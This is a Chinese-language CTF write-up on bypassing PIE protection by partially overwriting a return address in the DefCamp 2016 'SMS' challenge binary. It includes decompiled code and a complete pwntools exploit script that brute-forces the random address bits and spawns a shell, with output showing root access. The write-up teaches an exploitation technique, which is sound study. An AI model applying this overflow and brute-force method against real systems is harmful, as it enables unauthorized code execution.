PIE(position-independent executable, 地址无关可执行文件技术就是一个针对代码段.text, 数据段.*data.bss等固定地址的一个防护技术。

本文通过partial write绕过PIE

partial write(部分写入)就是一种利用了PIE技术缺陷的bypass技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数(就是最后的1.5个字节)的地址是始终不变的。

由于程序是小端序,所以覆盖return addr的时候会从后往前覆盖,因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP

最终就是写入1.5个字节的地址,爆破0.5个字节的地址,完成绕过PIE保护

checksec

>>> from pwn import *
>>> print ELF('./SMS').checksec()
[*] '/root/sploitfun/DefCamp_CTF_2016/SMS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

通过ida查看到程序中的后门地址,通过查看frontdoor的汇编代码我们知道其地址后三位是0x900

int frontdoor()
{
  char s; // [sp+0h] [bp-80h]@1

  fgets(&s, 128, _bss_start);	//将消息读取到s中,然后运行这个后门
  return system(&s);
}
.text:0000000000000900                 push    rbp
.text:0000000000000901                 mov     rbp, rsp
.text:0000000000000904                 add     rsp, 0FFFFFFFFFFFFFF80h
.text:0000000000000908                 mov     rdx, cs:__bss_start ; stream
.text:000000000000090F                 lea     rax, [rbp+s]
.text:0000000000000913                 mov     esi, 80h        ; n
.text:0000000000000918                 mov     rdi, rax        ; s
.text:000000000000091B                 call    _fgets
.text:0000000000000920                 lea     rax, [rbp+s]
.text:0000000000000924                 mov     rdi, rax        ; command
.text:0000000000000927                 call    _system
.text:000000000000092C                 nop
.text:000000000000092D                 leave

set_user得知name的地址在a1 + 140

int __fastcall set_user(__int64 a1)
{
  char s[140]; // [sp+10h] [bp-90h]@1
  int i; // [sp+9Ch] [bp-4h]@1

  memset(s, 0, 0x80uLL);
  puts("Enter your name");
  printf("> ", 0LL);
  fgets(s, 128, _bss_start);		//读128个字符到s中
  for ( i = 0; i <= 40 && s[i]; ++i )
    *(_BYTE *)(a1 + i + 140) = s[i];		//最多向a1中写入40个字节
  return printf("Hi, %s", a1 + 140);
}

而set_sms中,strncpy的长度保存在a1 + 180

char *__fastcall set_sms(__int64 a1)
{
  char s; // [sp+10h] [bp-400h]@1

  memset(&s, 0, 0x400uLL);
  puts("SMS our leader");
  printf("> ", 0LL);
  fgets(&s, 1024, _bss_start);		//读1024个字符到s中
  return strncpy((char *)a1, &s, *(_DWORD *)(a1 + 180));	//写入的长度受setname控制,造成栈溢出
}

从而可以通过name,控制set_sms中strncpy的长度

int dosms()
{
  char v1; // [sp+0h] [bp-C0h]@1
  int v2; // [sp+8Ch] [bp-34h]@1
  int v3; // [sp+B4h] [bp-Ch]@1

  memset(&v2, 0, 0x28uLL);
  v3 = 140;
  set_user((__int64)&v1);
  set_sms((__int64)&v1);
  return puts("SMS delivered");
}

payload如下

payload = 'a'*40                                        #padding
payload += '\xca'                                        #修改长度为202,即payload的长度,这个参数会在其后的strncpy被使用
io.sendline(payload)
io.recv()
payload = 'a'*200                                        #padding
payload += '\x01\xa9'                                #frontdoor的地址后三位是0x900, +1跳过push rbp
io.sendline(payload)

我们看到注释里用的不是0x900而是0x901,这是因为在实际调试中发现跳转到frontdoor时会出错。为了验证payload的正确性,我们可以在调试时通过IDA修改内存地址修正爆破位的值,此处从略。

最终payload

#!/usr/bin/python
#coding:utf-8
from pwn import *

context.update(arch = 'amd64', os = 'linux')
i = 0

while True:
	i += 1
	print i
	io = process('SMS')
	io.recv()
	payload = 'a'*40					#padding
	payload += '\xca'					#修改长度为202,即payload的长度,这个参数会在其后的strncpy被使用
	io.sendline(payload)
	io.recv()
	payload = 'a'*200					#padding
	payload += '\x01\xa9'				#frontdoor的地址后三位是0x900, +1跳过push rbp
	io.sendline(payload)
	io.recv()
	try:
		io.recv(timeout = 1)			#要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发EOFError
	except EOFError:
		io.close()
		continue
	else:
		sleep(0.1)
		io.sendline('/bin/sh\x00')
		sleep(0.1)
		io.interactive()				#没有EOFError的话就是爆破成功,可以开shell
		break

最终结果

[+] Starting local process './SMS': pid 24042
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)